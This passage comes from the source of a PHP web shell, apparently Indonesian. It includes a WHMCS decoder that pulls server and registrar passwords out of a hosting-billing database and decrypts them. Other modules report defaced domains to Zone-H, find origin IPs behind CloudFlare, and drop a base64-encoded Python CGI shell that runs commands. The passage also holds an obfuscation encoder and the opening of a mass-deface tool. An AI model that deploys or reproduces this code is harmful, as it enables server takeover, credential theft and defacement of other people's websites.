md5 hash with salt #2\r\n$hash_md5_double = md5(sha1($salt.$pass)); // md5 hash with salt & sha1 #3\r\n$hash1 = sha1($pass); // sha1 hash #4\r\n$sha256 = hash("sha256",$text);\r\n$hash1_sha1 = sha1($salt.$pass); // sha1 hash with salt #5\r\n$hash1_sha1_double = sha1(md5($salt.$pass)); // sha1 hash with salt & md5 #6\r\n}\r\necho \'<form action="" method="post"><b><table class=tabnet>\';\r\necho \'<tr><th colspan="2">Password Hash</th></center></tr>\';\r\necho \'<tr><td><b>masukan kata yang ingin di encrypt:</b></td>\';\r\necho \'<td><input class="inputz" type="text" name="password" size="40" />\';\r\necho \'<input class="inputzbut" type="submit" name="enter" value="hash" />\';\r\necho \'</td></tr><br>\';\r\necho \'<tr><th colspan="2">Hasil Hash</th></center></tr>\';\r\necho \'<tr><td>Original Password</td><td><input class=inputz type=text size=50 value=\'.$pass.\'></td></tr><br><br>\';\r\necho \'<tr><td>MD5</td><td><input class=inputz type=text size=50 value=\'.$hash.\'></td></tr><br><br>\';\r\necho \'<tr><td>MD4</td><td><input class=inputz type=text size=50 value=\'.$md4.\'></td></tr><br><br>\';\r\necho \'<tr><td>MD5 with Salt</td><td><input class=inputz type=text size=50 value=\'.$hash_md5.\'></td></tr><br><br>\';\r\necho \'<tr><td>MD5 with Salt & Sha1</td><td><input class=inputz type=text size=50 value=\'.$hash_md5_double.\'></td></tr><br><br>\';\r\necho \'<tr><td>Sha1</td><td><input class=inputz type=text size=50 value=\'.$hash1.\'></td></tr><br><br>\';\r\necho \'<tr><td>Sha256</td><td><input class=inputz type=text size=50 value=\'.$sha256.\'></td></tr><br><br>\';\r\necho \'<tr><td>Sha1 with Salt</td><td><input class=inputz type=text size=50 value=\'.$hash1_sha1.\'></td></tr><br><br>\';\r\necho \'<tr><td>Sha1 with Salt & MD5</td><td><input class=inputz type=text size=50 value=\'.$hash1_sha1_double.\'></td></tr><br><br></table>\'; \r\n}\r\n\r\n/////////////////////////////////////////////////////////////////\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'whmcs\'))\r\n{\t\r\n?>\r\n<form action="?y=<?php echo $pwd; ?>&amp;x=whmcs" method="post">\r\n\r\n<?php\r\n\r\nfunction decrypt ($string,$cc_encryption_hash)\r\n{\r\n    $key = md5 (md5 ($cc_encryption_hash)) . md5 ($cc_encryption_hash);\r\n    $hash_key = _hash ($key);\r\n    $hash_length = strlen ($hash_key);\r\n    $string = base64_decode ($string);\r\n    $tmp_iv = substr ($string, 0, $hash_length);\r\n    $string = substr ($string, $hash_length, strlen ($string) - $hash_length);\r\n    $iv = $out = \'\';\r\n    $c = 0;\r\n    while ($c < $hash_length)\r\n    {\r\n        $iv .= chr (ord ($tmp_iv[$c]) ^ ord ($hash_key[$c]));\r\n        ++$c;\r\n    }\r\n    $key = $iv;\r\n    $c = 0;\r\n    while ($c < strlen ($string))\r\n    {\r\n        if (($c != 0 AND $c % $hash_length == 0))\r\n        {\r\n            $key = _hash ($key . substr ($out, $c - $hash_length, $hash_length));\r\n        }\r\n        $out .= chr (ord ($key[$c % $hash_length]) ^ ord ($string[$c]));\r\n        ++$c;\r\n    }\r\n    return $out;\r\n}\r\n\r\nfunction _hash ($string)\r\n{\r\n    if (function_exists (\'sha1\'))\r\n    {\r\n        $hash = sha1 ($string);\r\n    }\r\n    else\r\n    {\r\n        $hash = md5 ($string);\r\n    }\r\n    $out = \'\';\r\n    $c = 0;\r\n    while ($c < strlen ($hash))\r\n    {\r\n        $out .= chr (hexdec ($hash[$c] . $hash[$c + 1]));\r\n        $c += 2;\r\n    }\r\n    return $out;\r\n}\r\n\r\necho "\r\n<br><center><font size=\'5\' color=\'#00ff00\'><b>-=[ WHMCS Decoder ]=-</b></font></center>\r\n<center>\r\n<br>\r\n\r\n<FORM action=\'\'  method=\'post\'>\r\n<input type=\'hidden\' name=\'form_action\' value=\'2\'>\r\n<br>\r\n<table class=tabnet style=width:320px;padding:0 1px;>\r\n<tr><th colspan=2>WHMCS Decoder</th></tr> \r\n<tr><td>db_host </td><td><input type=\'text\' style=\'color:#00ff00;background-color:\' class=\'inputz\' size=\'38\' name=\'db_host\' value=\'localhost\'></td></tr>\r\n<tr><td>db_username </td><td><input type=\'text\' style=\'color:#00ff00;background-color:\' class=\'inputz\' size=\'38\' name=\'db_username\' value=\'\'></td></tr>\r\n<tr><td>db_password</td><td><input type=\'text\' style=\'color:#00ff00;background-color:\' class=\'inputz\' size=\'38\' name=\'db_password\' value=\'\'></td></tr>\r\n<tr><td>db_name</td><td><input type=\'text\' style=\'color:#00ff00;background-color:\' class=\'inputz\' size=\'38\' name=\'db_name\' value=\'\'></td></tr>\r\n<tr><td>cc_encryption_hash</td><td><input style=\'color:#00ff00;background-color:\' type=\'text\' class=\'inputz\' size=\'38\' name=\'cc_encryption_hash\' value=\'\'></td></tr>\r\n<td>&nbsp;&nbsp;&nbsp;&nbsp;<INPUT class=\'inputzbut\' type=\'submit\' style=\'color:#00ff00;background-color:\'  value=\'Submit\' name=\'Submit\'></td>\r\n</table>\r\n</FORM>\r\n</center>\r\n";\r\n\r\n if($_POST[\'form_action\'] == 2 )\r\n {\r\n //include($file);\r\n $db_host=($_POST[\'db_host\']);\r\n $db_username=($_POST[\'db_username\']);\r\n $db_password=($_POST[\'db_password\']);\r\n $db_name=($_POST[\'db_name\']);\r\n $cc_encryption_hash=($_POST[\'cc_encryption_hash\']);\r\n\r\n\r\n\r\n    $link=mysql_connect($db_host,$db_username,$db_password) ;\r\n        mysql_select_db($db_name,$link) ;\r\n$query = mysql_query("SELECT * FROM tblservers");\r\nwhile($v = mysql_fetch_array($query)) {\r\n$ipaddress = $v[\'ipaddress\'];\r\n$username = $v[\'username\'];\r\n$type = $v[\'type\'];\r\n$active = $v[\'active\'];\r\n$hostname = $v[\'hostname\'];\r\necho("<center><table border=\'1\'>");\r\n$password = decrypt ($v[\'password\'], $cc_encryption_hash);\r\necho("<tr><td>Type</td><td>$type</td></tr>");\r\necho("<tr><td>Active</td><td>$active</td></tr>");\r\necho("<tr><td>Hostname</td><td>$hostname</td></tr>");\r\necho("<tr><td>Ip</td><td>$ipaddress</td></tr>");\r\necho("<tr><td>Username</td><td>$username</td></tr>");\r\necho("<tr><td>Password</td><td>$password</td></tr>");\r\n\r\necho "</table><br><br></center>";\r\n}\r\n\r\n    $link=mysql_connect($db_host,$db_username,$db_password) ;\r\n        mysql_select_db($db_name,$link) ;\r\n$query = mysql_query("SELECT * FROM tblregistrars");\r\necho("<center>Domain Reseller <br><table class=tabnet border=\'1\'>");\r\necho("<tr><td>Registrar</td><td>Setting</td><td>Value</td></tr>");\r\nwhile($v = mysql_fetch_array($query)) {\r\n$registrar     = $v[\'registrar\'];\r\n$setting = $v[\'setting\'];\r\n$value = decrypt ($v[\'value\'], $cc_encryption_hash);\r\nif ($value=="") {\r\n$value=0;\r\n}\r\n$password = decrypt ($v[\'password\'], $cc_encryption_hash);\r\necho("<tr><td>$registrar</td><td>$setting</td><td>$value</td></tr>");\r\n}\r\n}\r\n}\r\n\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'zone\'))\r\n{\t\r\n?>\r\n<form action="?y=<?php echo $pwd; ?>&amp;x=zone" method="post">\r\n\r\n<br><br><center>\r\n<!-- Zone-H -->\r\n<form action="" method=\'POST\'><table><table class=\'tabnet\'><tr>\r\n<td style=\'background-color:#0000;padding-left:10px;\'><tr><tr><th colspan="2"><h2>Zone-H Defacer</h2></th></tr></td></tr><tr><td height=\'45\' colspan=\'2\'><form method="post">\r\n<input type="text" class="inputz" name="defacer" value="Nama Defacer" />\r\n<select name="hackmode" class="inputz" >\r\n<option >------------------------Pilih Salah Satu------------------------</option>\r\n<option value="1">known vulnerability (i.e. unpatched system)</option>\r\n<option value="2" >undisclosed (new) vulnerability</option>\r\n<option value="3" >configuration / admin. mistake</option>\r\n<option value="4" >brute force attack</option>\r\n<option value="5" >social engineering</option>\r\n<option value="6" >Web Server intrusion</option>\r\n<option value="7" >Web Server external module intrusion</option>\r\n<option value="8" >Mail Server intrusion</option>\r\n<option value="9" >FTP Server intrusion</option>\r\n<option value="10" >SSH Server intrusion</option>\r\n<option value="11" >Telnet Server intrusion</option>\r\n<option value="12" >RPC Server intrusion</option>\r\n<option value="13" >Shares misconfiguration</option>\r\n<option value="14" >Other Server intrusion</option>\r\n<option value="15" >SQL Injection</option>\r\n<option value="16" >URL Poisoning</option>\r\n<option value="17" >File Inclusion</option>\r\n<option value="18" >Other Web Application bug</option>\r\n<option value="19" >Remote administrative panel access bruteforcing</option>\r\n<option value="20" >Remote administrative panel access password guessing</option>\r\n<option value="21" >Remote administrative panel access social engineering</option>\r\n<option value="22" >Attack against administrator(password stealing/sniffing)</option>\r\n<option value="23" >Access credentials through Man In the Middle attack</option>\r\n<option value="24" >Remote service password guessing</option>\r\n<option value="25" >Remote service password bruteforce</option>\r\n<option value="26" >Rerouting after attacking the Firewall</option>\r\n<option value="27" >Rerouting after attacking the Router</option>\r\n<option value="28" >DNS attack through social engineering</option>\r\n<option value="29" >DNS attack through cache poisoning</option>\r\n<option value="30" >Not available</option>\r\n</select>\r\n\r\n<select name="reason" class="inputz" >\r\n<option >-------------Pilih Salah Satu---------------</option>\r\n<option value="1" >Heh...just for fun!</option>\r\n<option value="2" >Revenge against that website</option>\r\n<option value="3" >Political reasons</option>\r\n<option value="4" >As a challenge</option>\r\n<option value="5" >I just want to be the best defacer</option>\r\n<option value="6" >Patriotism</option>\r\n<option value="7" >Not available</option>\r\n</select>\r\n<input type="hidden" name="action" value="zone">\r\n<center><textarea style="background:black;outline:none;" name="domain" cols="116" rows="9" id="domains">List Of Domains</textarea>\r\n<br /><input class=\'inputzbut\' type="submit" value="Send Now !" name="SendNowToZoneH" /><br></center></table>\r\n</form></td></tr></table></form>\r\n<!-- End Of Zone-H -->\r\n</td></center><br><br>\r\n\r\n<?php\r\necho \'<center>\';\r\n\tob_start();\r\n\t$sub = get_loaded_extensions();\r\n\tif(!in_array("curl", $sub)){die(\'[-] Curl Is Not Supported !! \');}\r\n\t$hacker = $_POST[\'defacer\'];\r\n\t$method = $_POST[\'hackmode\'];\r\n\t$neden = $_POST[\'reason\'];\r\n\t$site = $_POST[\'domain\'];\r\n\t\r\n\tif (empty($hacker)){die ("[-] You Must Fill the Attacker name !");}\r\n\telseif($method == "--------SELECT--------") {die("[-] You Must Select The Method !");}\r\n\telseif($neden == "--------SELECT--------") {die("[-] You Must Select The Reason");}\r\n\telseif(empty($site)) {die("[-] You Must Inter the Sites List ! ");}\r\n\t$i = 0;\r\n\t$sites = explode("\\n", $site);\r\n\twhile($i < count($sites)) \r\n\t{\r\n\t\tif(substr($sites[$i], 0, 4) != "http") {$sites[$i] = "http://".$sites[$i];}\r\n\t\tZoneH("http://zone-h.org/notify/single", $hacker, $method, $neden, $sites[$i]);\r\n\t\techo "Site : ".$sites[$i]." Defaced !\\n";\r\n\t\t++$i;\r\n\t}\r\n\techo "[+] Sending Sites To Zone-H Has Been Completed Successfully !! ";\r\n\r\n\techo \'</center>\';\r\n}\r\n\r\n/////////////////////////////////////////////////////////////////////////////////////////////\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'bypass-cf\'))\r\n{\t\r\necho \'\r\n<form method="POST"><br><br>\r\n<center><p align="center" dir="ltr"><b><font size="5" face="Tahoma">+--=[ Bypass\r\n<font color="#CC0000">CloudFlare</font> ]=--+</font></b></p>\r\n<select class="inputz" name="krz">\r\n\t<option>ftp</option>\r\n\t\t<option>direct-conntect</option>\r\n\t\t\t<option>webmail</option>\r\n\t\t\t\t<option>cpanel</option>\r\n</select>\r\n<input class="inputz" type="text" name="target" value="url">\r\n<input class="inputzbut" type="submit" value="Bypass"></center>\r\n\r\n\';\r\n\r\n$target = $_POST[\'target\'];\r\n# Bypass From FTP\r\nif($_POST[\'krz\'] == "ftp") {\r\n$ftp = gethostbyname("ftp."."$target");\r\necho "<br><p align=\'center\' dir=\'ltr\'><font face=\'Tahoma\' size=\'2\' color=\'#00ff00\'>Correct \r\nip is : </font><font face=\'Tahoma\' size=\'2\' color=\'#F68B1F\'>$ftp</font></p>";\r\n} \r\n# Bypass From Direct-Connect\r\nif($_POST[\'krz\'] == "direct-conntect") {\r\n$direct = gethostbyname("direct-connect."."$target");\r\necho "<br><p align=\'center\' dir=\'ltr\'><font face=\'Tahoma\' size=\'2\' color=\'#00ff00\'>Correct \r\nip is : </font><font face=\'Tahoma\' size=\'2\' color=\'#F68B1F\'>$direct</font></p>";\r\n}\r\n# Bypass From Webmail\r\nif($_POST[\'krz\'] == "webmail") {\r\n$web = gethostbyname("webmail."."$target");\r\necho "<br><p align=\'center\' dir=\'ltr\'><font face=\'Tahoma\' size=\'2\' color=\'#00ff00\'>Correct \r\nip is : </font><font face=\'Tahoma\' size=\'2\' color=\'#F68B1F\'>$web</font></p>";\r\n}\r\n# Bypass From Cpanel\r\nif($_POST[\'krz\'] == "cpanel") {\r\n$cpanel = gethostbyname("cpanel."."$target");\r\necho "<br><p align=\'center\' dir=\'ltr\'><font face=\'Tahoma\' size=\'2\' color=\'#00ff00\'>Correct \r\nip is : </font><font face=\'Tahoma\' size=\'2\' color=\'#F68B1F\'>$cpanel</font></p>";\r\n}\r\n}\r\n//////////////////////////////////////////////////////////////////////////////////////////////\r\n\r\n\r\n\r\n//////////////////////////////////////////////////////////////////////////////////////////////\r\n\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'hashid\')) {\r\nif(isset($_POST[\'gethash\'])){\r\n\t\t$hash = $_POST[\'hash\'];\r\n\t\tif(strlen($hash)==32){\r\n\t\t\t$hashresult = "MD5 Hash";\r\n\t\t}elseif(strlen($hash)==40){\r\n\t\t\t$hashresult = "SHA-1 Hash/ /MySQL5 Hash";\r\n\t\t}elseif(strlen($hash)==13){\r\n\t\t\t$hashresult = "DES(Unix) Hash";\r\n\t\t}elseif(strlen($hash)==16){\r\n\t\t\t$hashresult = "MySQL Hash / /DES(Oracle Hash)";\r\n\t\t}elseif(strlen($hash)==41){\r\n\t\t\t$GetHashChar = substr($hash, 40);\r\n\t\t\tif($GetHashChar == "*"){\r\n\t\t\t\t$hashresult = "MySQL5 Hash"; \r\n\t\t\t}\t\r\n\t\t}elseif(strlen($hash)==64){\r\n\t\t\t$hashresult = "SHA-256 Hash";\r\n\t\t}elseif(strlen($hash)==96){\r\n\t\t\t$hashresult = "SHA-384 Hash";\r\n\t\t}elseif(strlen($hash)==128){\r\n\t\t\t$hashresult = "SHA-512 Hash";\r\n\t\t}elseif(strlen($hash)==34){\r\n\t\t\tif(strstr($hash, \'$1$\')){\r\n\t\t\t\t$hashresult = "MD5(Unix) Hash";\r\n\t\t\t} \t\r\n\t\t}elseif(strlen($hash)==37){\r\n\t\t\tif(strstr($hash, \'$apr1$\')){\r\n\t\t\t\t$hashresult = "MD5(APR) Hash";\r\n\t\t\t} \t\r\n\t\t}elseif(strlen($hash)==34){\r\n\t\t\tif(strstr($hash, \'$H$\')){\r\n\t\t\t\t$hashresult = "MD5(phpBB3) Hash";\r\n\t\t\t} \t\r\n\t\t}elseif(strlen($hash)==34){\r\n\t\t\tif(strstr($hash, \'$P$\')){\r\n\t\t\t\t$hashresult = "MD5(Wordpress) Hash";\r\n\t\t\t} \t\r\n\t\t}elseif(strlen($hash)==39){\r\n\t\t\tif(strstr($hash, \'$5$\')){\r\n\t\t\t\t$hashresult = "SHA-256(Unix) Hash";\r\n\t\t\t} \t\r\n\t\t}elseif(strlen($hash)==39){\r\n\t\t\tif(strstr($hash, \'$6$\')){\r\n\t\t\t\t$hashresult = "SHA-512(Unix) Hash";\r\n\t\t\t} \t\r\n\t\t}elseif(strlen($hash)==24){\r\n\t\t\tif(strstr($hash, \'==\')){\r\n\t\t\t\t$hashresult = "MD5(Base-64) Hash";\r\n\t\t\t} \t\r\n\t\t}else{\r\n\t\t\t$hashresult = "Hash type not found";\r\n\t\t}\r\n\t}else{\r\n\t\t$hashresult = "Not Hash Entered";\r\n\t}\r\n\t\r\n\t?>\r\n\t<center><br><Br><br>\r\n\t\r\n\t\t<form action="" method="POST">\r\n\t\t<tr>\r\n\t\t<table class="tabnet">\r\n\t\t<th colspan="5">Hash Identification</th>\r\n\t\t<tr class="optionstr"><B><td>Enter Hash</td></b><td>:</td>\t<td><input type="text" name="hash" size=\'60\' class="inputz" /></td><td><input type="submit" class="inputzbut" name="gethash" value="Identify Hash" /></td></tr>\r\n\t\t<tr class="optionstr"><b><td>Result</td><td>:</td><td><?php echo $hashresult; ?></td></tr></b>\r\n\t</table></tr></form>\r\n\t</center>\r\n\t\r\n\t<?php\r\n }\r\n//////////////////////////////////////////////////////////////////////////////////////////////\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'python\')) { \r\necho "<center/><br/><b>\r\n +--==[ python  Bypass Exploit ]==--+ \r\n </b><br><br>";\r\n \r\n \r\n    mkdir(\'python\', 0755);\r\n    chdir(\'python\');\r\n        $kokdosya = ".htaccess";\r\n        $dosya_adi = "$kokdosya";\r\n        $dosya = fopen ($dosya_adi , \'w\') or die ("Dosya a&#231;&#305;lamad&#305;!");\r\n        $metin = "AddHandler cgi-script .izo";    \r\n        fwrite ( $dosya , $metin ) ;\r\n        fclose ($dosya);\r\n$pythonp = \'IyEvdXNyL2Jpbi9weXRob24KIyAwNy0wNy0wNAojIHYxLjAuMAoKIyBjZ2ktc2hlbGwucHkKIyBB\r\nIHNpbXBsZSBDR0kgdGhhdCBleGVjdXRlcyBhcmJpdHJhcnkgc2hlbGwgY29tbWFuZHMuCgoKIyBD\r\nb3B5cmlnaHQgTWljaGFlbCBGb29yZAojIFlvdSBhcmUgZnJlZSB0byBtb2RpZnksIHVzZSBhbmQg\r\ncmVsaWNlbnNlIHRoaXMgY29kZS4KCiMgTm8gd2FycmFudHkgZXhwcmVzcyBvciBpbXBsaWVkIGZv\r\nciB0aGUgYWNjdXJhY3ksIGZpdG5lc3MgdG8gcHVycG9zZSBvciBvdGhlcndpc2UgZm9yIHRoaXMg\r\nY29kZS4uLi4KIyBVc2UgYXQgeW91ciBvd24gcmlzayAhISEKCiMgRS1tYWlsIG1pY2hhZWwgQVQg\r\nZm9vcmQgRE9UIG1lIERPVCB1awojIE1haW50YWluZWQgYXQgd3d3LnZvaWRzcGFjZS5vcmcudWsv\r\nYXRsYW50aWJvdHMvcHl0aG9udXRpbHMuaHRtbAoKIiIiCkEgc2ltcGxlIENHSSBzY3JpcHQgdG8g\r\nZXhlY3V0ZSBzaGVsbCBjb21tYW5kcyB2aWEgQ0dJLgoiIiIKIyMjIyMjIyMjIyMjIyMjIyMjIyMj\r\nIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwojIEltcG9ydHMKdHJ5\r\nOgogICAgaW1wb3J0IGNnaXRiOyBjZ2l0Yi5lbmFibGUoKQpleGNlcHQ6CiAgICBwYXNzCmltcG9y\r\ndCBzeXMsIGNnaSwgb3MKc3lzLnN0ZGVyciA9IHN5cy5zdGRvdXQKZnJvbSB0aW1lIGltcG9ydCBz\r\ndHJmdGltZQppbXBvcnQgdHJhY2ViYWNrCmZyb20gU3RyaW5nSU8gaW1wb3J0IFN0cmluZ0lPCmZy\r\nb20gdHJhY2ViYWNrIGltcG9ydCBwcmludF9leGMKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj\r\nIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyBjb25zdGFudHMKCmZvbnRs\r\naW5lID0gJzxGT05UIENPTE9SPSM0MjQyNDIgc3R5bGU9ImZvbnQtZmFtaWx5OnRpbWVzO2ZvbnQt\r\nc2l6ZToxMnB0OyI+Jwp2ZXJzaW9uc3RyaW5nID0gJ1ZlcnNpb24gMS4wLjAgN3RoIEp1bHkgMjAw\r\nNCcKCmlmIG9zLmVudmlyb24uaGFzX2tleSgiU0NSSVBUX05BTUUiKToKICAgIHNjcmlwdG5hbWUg\r\nPSBvcy5lbnZpcm9uWyJTQ1JJUFRfTkFNRSJdCmVsc2U6CiAgICBzY3JpcHRuYW1lID0gIiIKCk1F\r\nVEhPRCA9ICciUE9TVCInCgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj\r\nIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCiMgUHJpdmF0ZSBmdW5jdGlvbnMgYW5kIHZhcmlhYmxl\r\ncwoKZGVmIGdldGZvcm0odmFsdWVsaXN0LCB0aGVmb3JtLCBub3RwcmVzZW50PScnKToKICAgICIi\r\nIlRoaXMgZnVuY3Rpb24sIGdpdmVuIGEgQ0dJIGZvcm0sIGV4dHJhY3RzIHRoZSBkYXRhIGZyb20g\r\naXQsIGJhc2VkIG9uCiAgICB2YWx1ZWxpc3QgcGFzc2VkIGluLiBBbnkgbm9uLXByZXNlbnQgdmFs\r\ndWVzIGFyZSBzZXQgdG8gJycgLSBhbHRob3VnaCB0aGlzIGNhbiBiZSBjaGFuZ2VkLgogICAgKGUu\r\nZy4gdG8gcmV0dXJuIE5vbmUgc28geW91IGNhbiB0ZXN0IGZvciBtaXNzaW5nIGtleXdvcmRzIC0g\r\nd2hlcmUgJycgaXMgYSB2YWxpZCBhbnN3ZXIgYnV0IHRvIGhhdmUgdGhlIGZpZWxkIG1pc3Npbmcg\r\naXNuJ3QuKSIiIgogICAgZGF0YSA9IHt9CiAgICBmb3IgZmllbGQgaW4gdmFsdWVsaXN0OgogICAg\r\nICAgIGlmIG5vdCB0aGVmb3JtLmhhc19rZXkoZmllbGQpOgogICAgICAgICAgICBkYXRhW2ZpZWxk\r\nXSA9IG5vdHByZXNlbnQKICAgICAgICBlbHNlOgogICAgICAgICAgICBpZiAgdHlwZSh0aGVmb3Jt\r\nW2ZpZWxkXSkgIT0gdHlwZShbXSk6CiAgICAgICAgICAgICAgICBkYXRhW2ZpZWxkXSA9IHRoZWZv\r\ncm1bZmllbGRdLnZhbHVlCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICB2YWx1ZXMg\r\nPSBtYXAobGFtYmRhIHg6IHgudmFsdWUsIHRoZWZvcm1bZmllbGRdKSAgICAgIyBhbGxvd3MgZm9y\r\nIGxpc3QgdHlwZSB2YWx1ZXMKICAgICAgICAgICAgICAgIGRhdGFbZmllbGRdID0gdmFsdWVzCiAg\r\nICByZXR1cm4gZGF0YQoKCnRoZWZvcm1oZWFkID0gIiIiPEhUTUw+PEhFQUQ+PFRJVExFPmNnaS1z\r\naGVsbC5weSAtIGEgQ0dJIGJ5IEZ1enp5bWFuPC9USVRMRT48L0hFQUQ+CjxCT0RZPjxDRU5URVI+\r\nCjxIMT5XZWxjb21lIHRvIGNnaS1zaGVsbC5weSAtIDxCUj5hIFB5dGhvbiBDR0k8L0gxPgo8Qj48\r\nST5CeSBGdXp6eW1hbjwvQj48L0k+PEJSPgoiIiIrZm9udGxpbmUgKyJWZXJzaW9uIDogIiArIHZl\r\ncnNpb25zdHJpbmcgKyAiIiIsIFJ1bm5pbmcgb24gOiAiIiIgKyBzdHJmdGltZSgnJUk6JU0gJXAs\r\nICVBICVkICVCLCAlWScpKycuPC9DRU5URVI+PEJSPicKCnRoZWZvcm0gPSAiIiI8SDI+RW50ZXIg\r\nQ29tbWFuZDwvSDI+CjxGT1JNIE1FVEhPRD1cIiIiIiArIE1FVEhPRCArICciIGFjdGlvbj0iJyAr\r\nIHNjcmlwdG5hbWUgKyAiIiJcIj4KPGlucHV0IG5hbWU9Y21kIHR5cGU9dGV4dD48QlI+CjxpbnB1\r\ndCB0eXBlPXN1Ym1pdCB2YWx1ZT0iU3VibWl0Ij48QlI+CjwvRk9STT48QlI+PEJSPiIiIgpib2R5\r\nZW5kID0gJzwvQk9EWT48L0hUTUw+JwplcnJvcm1lc3MgPSAnPENFTlRFUj48SDI+U29tZXRoaW5n\r\nIFdlbnQgV3Jvbmc8L0gyPjxCUj48UFJFPicKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj\r\nIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyBtYWluIGJvZHkgb2YgdGhlIHNj\r\ncmlwdAoKaWYgX19uYW1lX18gPT0gJ19fbWFpbl9fJzoKICAgIHByaW50ICJDb250ZW50LXR5cGU6\r\nIHRleHQvaHRtbCIgICAgICAgICAjIHRoaXMgaXMgdGhlIGhlYWRlciB0byB0aGUgc2VydmVyCiAg\r\nICBwcmludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyBzbyBpcyB0aGlzIGJs\r\nYW5rIGxpbmUKICAgIGZvcm0gPSBjZ2kuRmllbGRTdG9yYWdlKCkKICAgIGRhdGEgPSBnZXRmb3Jt\r\nKFsnY21kJ10sZm9ybSkKICAgIHRoZWNtZCA9IGRhdGFbJ2NtZCddCiAgICBwcmludCB0aGVmb3Jt\r\naGVhZAogICAgcHJpbnQgdGhlZm9ybQogICAgaWYgdGhlY21kOgogICAgICAgIHByaW50ICc8SFI+\r\nPEJSPjxCUj4nCiAgICAgICAgcHJpbnQgJzxCPkNvbW1hbmQgOiAnLCB0aGVjbWQsICc8QlI+PEJS\r\nPicKICAgICAgICBwcmludCAnUmVzdWx0IDogPEJSPjxCUj4nCiAgICAgICAgdHJ5OgogICAgICAg\r\nICAgICBjaGlsZF9zdGRpbiwgY2hpbGRfc3Rkb3V0ID0gb3MucG9wZW4yKHRoZWNtZCkKICAgICAg\r\nICAgICAgY2hpbGRfc3RkaW4uY2xvc2UoKQogICAgICAgICAgICByZXN1bHQgPSBjaGlsZF9zdGRv\r\ndXQucmVhZCgpCiAgICAgICAgICAgIGNoaWxkX3N0ZG91dC5jbG9zZSgpCiAgICAgICAgICAgIHBy\r\naW50IHJlc3VsdC5yZXBsYWNlKCdcbicsICc8QlI+JykKCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlv\r\nbiwgZTogICAgICAgICAgICAgICAgICAgICAgIyBhbiBlcnJvciBpbiBleGVjdXRpbmcgdGhlIGNv\r\nbW1hbmQKICAgICAgICAgICAgcHJpbnQgZXJyb3JtZXNzCiAgICAgICAgICAgIGYgPSBTdHJpbmdJ\r\nTygpCiAgICAgICAgICAgIHByaW50X2V4YyhmaWxlPWYpCiAgICAgICAgICAgIGEgPSBmLmdldHZh\r\nbHVlKCkuc3BsaXRsaW5lcygpCiAgICAgICAgICAgIGZvciBsaW5lIGluIGE6CiAgICAgICAgICAg\r\nICAgICBwcmludCBsaW5lCgogICAgcHJpbnQgYm9keWVuZAoKCiIiIgpUT0RPL0lTU1VFUwoKCgpD\r\nSEFOR0VMT0cKCjA3LTA3LTA0ICAgICAgICBWZXJzaW9uIDEuMC4wCkEgdmVyeSBiYXNpYyBzeXN0\r\nZW0gZm9yIGV4ZWN1dGluZyBzaGVsbCBjb21tYW5kcy4KSSBtYXkgZXhwYW5kIGl0IGludG8gYSBw\r\ncm9wZXIgJ2Vudmlyb25tZW50JyB3aXRoIHNlc3Npb24gcGVyc2lzdGVuY2UuLi4KIiIi\';\r\n\r\n$file = fopen("python.izo" ,"w+");\r\n$write = fwrite ($file ,base64_decode($pythonp));\r\nfclose($file);\r\n    chmod("python.izo",0755);\r\n   echo " <iframe src=python/python.izo width=96% height=76% frameborder=0></iframe>\r\n \r\n </div>"; }\r\n\r\n//////////////////////////////////////////////////////////////////////////////////////////////\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'string\')){\r\n$text = $_POST[\'code\'];\r\n?><center><br><br><b>+--=[ Script Encode & Decode ]=--+</b><br><br>\r\n<form method="post"><br><br><br>\r\n<textarea class=\'inputz\' cols=80 rows=10 name="code"></textarea><br><br>\r\n<select class=\'inputz\' size="1" name="ope">\r\n<option value="base64">Base64</option>\r\n<option value="gzinflate">str_rot13 - gzinflate - base64</option>\r\n<option value="str">str_rot13 - gzinflate - str_rot13 - base64</option>\r\n</select>&nbsp;<input class=\'inputzbut\' type=\'submit\' name=\'submit\' value=\'Encrypt\'>\r\n<input class=\'inputzbut\' type=\'submit\' name=\'submits\' value=\'Decrypt\'>\r\n</form>\r\n\r\n<?php \r\n$submit = $_POST[\'submit\'];\r\nif (isset($submit)){\r\n$op = $_POST["ope"];\r\nswitch ($op) {case \'base64\': $codi=base64_encode($text);\r\nbreak;case \'str\' : $codi=(base64_encode(str_rot13(gzdeflate(str_rot13($text)))));\r\nbreak;case \'gzinflate\' : $codi=base64_encode(gzdeflate(str_rot13($text)));\r\nbreak;default:break;}}\r\n\r\n$submit = $_POST[\'submits\'];\r\nif (isset($submit)){\r\n$op = $_POST["ope"];\r\nswitch ($op) {case \'base64\': $codi=base64_decode($text);\r\nbreak;case \'str\' : $codi=str_rot13(gzinflate(str_rot13(base64_decode(($text)))));\r\nbreak;case \'gzinflate\' : $codi=str_rot13(gzinflate(base64_decode($text)));\r\nbreak;default:break;}}\r\n\r\necho \'<textarea cols=80 rows=10 class="inputz" readonly>\'.$codi.\'</textarea></center><BR><BR>\';\r\n\r\n}\r\n\r\n/////////////////////////////////////////////////////////////////////////////////////////////\r\n\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'mass\'))\r\n{\r\necho "<center/><br/><b><font color=#00ff00>-=[ Mass Deface ]=-</font></b><br>";\r\nerror_reporting(0);?>\r\n<form ENCTYPE="multipart/form-data" action="<?php $_SERVER[\'PHP_SELF\']?>" method=\'post\'>\r\n<td><table><table class="tabnet" >\r\n<form 